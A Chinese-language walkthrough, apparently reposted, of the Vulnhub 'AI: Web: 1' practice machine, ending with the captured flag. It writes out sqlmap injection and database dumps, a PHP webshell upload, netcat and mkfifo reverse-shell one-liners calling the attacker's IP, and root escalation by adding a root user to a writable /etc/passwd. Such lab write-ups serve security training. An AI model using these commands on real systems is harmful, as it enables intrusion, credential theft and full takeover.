Vulnhub靶机渗透之 AI: Web: 1
靶機(jī)下載地址:AI:Web:1
Description:
Difficulty: Intermediate
Network: DHCP (Automatically assign)
Network Mode: NAT
This box is designed to test skills of penetration tester. The goal is simple. Get flag from /root/flag.txt. Enumerate the box, get low privileged shell and then escalate privilege to root. For any hint please tweet on @arif_xpress
目標(biāo)是從 /root/flag.txt 獲取flag,獲得低權(quán)限的 shell,然后將權(quán)限提升到 root。
實(shí)驗(yàn)環(huán)境:
攻擊機(jī):kali2021(192.168.0.13/24,vmnet0)
靶機(jī):(MAC地址為00:0C:29:93:FE:B3,vmnet0)
信息收集階段:
靶機(jī)IP地址:
nmap -sP 192.168.0.1/24? -oN nmap.sP(得到靶機(jī)IP地址為192.168.0.17)
?靶機(jī)開放端口:
nmap -A 192.168.0.17 -p- -oN nmap.A
?發(fā)現(xiàn)靶機(jī)開放了80端口
接下來訪問其網(wǎng)頁,查看有沒有可用信息,截圖如下:
發(fā)現(xiàn)Not even Google search my contents!(谷歌瀏覽器不能查詢內(nèi)容,其實(shí)我用的是火狐也不能訪問其網(wǎng)站內(nèi)容)
接下來用御劍掃描此網(wǎng)站目錄
網(wǎng)站目錄掃描:
?這里我使用kali自帶網(wǎng)站掃描工具dirb,命令如下:
dirb http://192.168.0.17
看到其他人的滲透過程發(fā)現(xiàn),nikto也可以對(duì)網(wǎng)站進(jìn)行掃描
nikto -h http://10.10.10.34由上面的掃描結(jié)果可知,存在目錄index.html,robots.txt,server-status
訪問/robots.txt得知:
?訪問:/m3diNf0/ 和 /se3reTdir777/uploads/都是forbidden,嘗試訪問 /se3reTdir777/,界面如下:
?在框中輸1和2,分別得到:
?懷疑存在SQL注入
敏感目錄掃描
m3diNf0 目錄
?發(fā)現(xiàn)http://192.168.0.17/m3diNf0/info.php
訪問得知:
我們找到了站點(diǎn)在服務(wù)器的絕對(duì)路徑
| DOCUMENT_ROOT | /home/www/html/web1x443290o2sdf92213 |
漏洞映射
?SQL注入:
這里采用sqlmap工具注入方法:
sqlmap注入:
首先對(duì)此網(wǎng)頁抓包,看有沒有可用參數(shù)(發(fā)現(xiàn)uid和Operation)
?① ?sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit",發(fā)現(xiàn)存在SQL注入,且可用以下方法注入
?②爆數(shù)據(jù)庫名:?sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" --current-db
得知當(dāng)前數(shù)據(jù)庫為aiweb1
?
?③爆表名:?sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" -D "aiweb1" --tables
發(fā)現(xiàn)存在user和systemUser表
?
?④爆user表字段(sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" -D "aiweb1" -T "user" --dump)
⑤爆systemUser表字段(sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" -D "aiweb1" -T "systemUser" --dump)
彈出來的兩個(gè)提示都填N
可以看出password字段被base64加密過了,解碼后得到原密碼,但是服務(wù)器的3306端口沒有對(duì)外開放,也不清楚這用戶名和密碼意味著什么。暫時(shí)還沒有利用的點(diǎn)。
之前robots文件還有兩個(gè)目錄,對(duì)那兩個(gè)目錄dirb一下,發(fā)現(xiàn)m3diNf0目錄下有一個(gè)info.php,打開一看原來是PHP的配置文件。
現(xiàn)在我們找到了站點(diǎn)在服務(wù)器的絕對(duì)路徑!
/home/www/html/web1x443290o2sdf92213
既然知道了絕對(duì)路徑當(dāng)然要試一下sqlmap拿Shell啦,但是網(wǎng)站的絕對(duì)路徑拿shell失敗,終于將絕對(duì)路徑改為uploads后拿到了shell
注:
sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" --os-shell(可以利用--os-shell執(zhí)行系統(tǒng)命令),彈出來的提示分別選4(php),回車,2,/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/(寫路徑)
現(xiàn)在通過sqlmap就獲取到了一個(gè)shell(得益于這個(gè)目錄具有可寫權(quán)限)
?sqlmap寫入一句話木馬
?1、寫一句話木馬(參考:sqlmap寫入一句話木馬)
2、寫入文件
sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write ./yjh.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php--file-write:去讀取文件(當(dāng)前目錄下的yjh.php) --file-dest:后面加我們向目標(biāo)寫的文件,目標(biāo)在/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/,我們把這個(gè)文件上傳到shell.php這個(gè)地址 現(xiàn)在我們就在uploads這個(gè)命令下寫好了shell.php文件?
訪問192.168.0.17/se3reTdir777/uploads/shell.php發(fā)現(xiàn)是一片空白,就說明寫成功了!
蟻劍直接連接即可
?反彈shell
①kali本地監(jiān)聽:nc -lvvp 6666(或者nc -lnvp)
②蟻劍終端上nc反彈:nc -e /bin/bash 192.168.0.13 6666(發(fā)現(xiàn)-e參數(shù)不可用)
③rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.13 6666 >/tmp/f
?提權(quán)
反彈shell成功后whoami查看是www-data權(quán)限,echo $0發(fā)現(xiàn)是/bin/sh
進(jìn)入交互式shell:python -c 'import pty;pty.spawn("/bin/bash")'
思路1、sudo -l(查看有沒有一些命令在執(zhí)行期間有root權(quán)限標(biāo)簽沒有密碼保護(hù)——Not found)
發(fā)現(xiàn)需要密碼
思路2、查看有沒有一些具有suid權(quán)限的命令
find / -perm -4000 2>/dev/null
發(fā)現(xiàn)很多命令在執(zhí)行期間都有suid權(quán)限
?查看開放端口:
?發(fā)現(xiàn)開放了3306端口,但是只有本地能登錄
思路3:在交互式shell下輸入命令uname -a查看內(nèi)核版本,當(dāng)前版本號(hào)是4.15.0-58-generic,我們就可以去看一下有沒有內(nèi)核漏洞
searchsploit linux kernel 4.15.0-58-generic,發(fā)現(xiàn)沒有結(jié)果
searchsploit linux kernel 4.15.0,可以看到好幾個(gè)做本地提權(quán)的
我們看看目標(biāo)環(huán)境有沒有g(shù)cc環(huán)境,沒有,我們就盡量不要上傳.c文件提取
?下面的提權(quán)過程我不會(huì),參考:AJEST(我的啟蒙老師,哈哈哈哈膜拜!)
查看當(dāng)前用戶讀寫權(quán)限
查看當(dāng)前系統(tǒng)里面具有可寫權(quán)限的目錄有哪些:find / -writable -type d 2>/dev/null
查看哪些文件具有讀寫權(quán)限:find / -writable -type f 2>/dev/null
將find查詢結(jié)果保存: find / -writable -type f 2>/dev/null > /tmp/writableFiles
我們?cè)谙亜Φ?tmp目錄就可以看到writableFiles文件,download下來
wc -l writableFiles 可以看到這個(gè)文件有5932行
過濾有用文件(下面我看不太懂)
cat writableFiles | grep '^/[^p]' | grep '^/[^s],過濾掉以p和s開頭的文件
覺得c0nFil3bd.php這個(gè)文件可疑,看看是什么
我們還發(fā)現(xiàn)/etc/passwd文件,具有寫權(quán)限
?可以添加waffle::0:0:root:/root:/bin/bash,這個(gè)賬號(hào)是沒有密碼的,但是sudo發(fā)現(xiàn)密碼驗(yàn)證失敗,我們就去生成一個(gè)密碼:
?生成Linux 系統(tǒng)用戶密鑰
┌──(root💀mi)-[~] └─# python Python 2.7.18 (default, Apr 20 2020, 20:30:41) [GCC 9.3.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import crypt >>> crypt.crypt("123456","waffle") 'waiAeFsWwdWZw' >>>讀寫/etc/passwd 文件。
root:x:0:0:root:/root:/bin/bash...waffle:waiAeFsWwdWZw:0:0:root:/root:/bin/bash查看flag
root@aiweb1:/# cat /root/flag.txt cat /root/flag.txt #################################################### # # # AI: WEB 1.0 # # # # Congratulation!!! # # # # Thank you for penetrate my system. # # # # Hope you enjoyed this. # # # # # # flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71} # # # #################################################### root@aiweb1:/#總結(jié)
以上是生活随笔為你收集整理的Vulnhub靶机渗透之 AI: Web: 1的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【CyberSecurityLearni
- 下一篇: 【新书速递】你想知道的通信“灵魂三问”都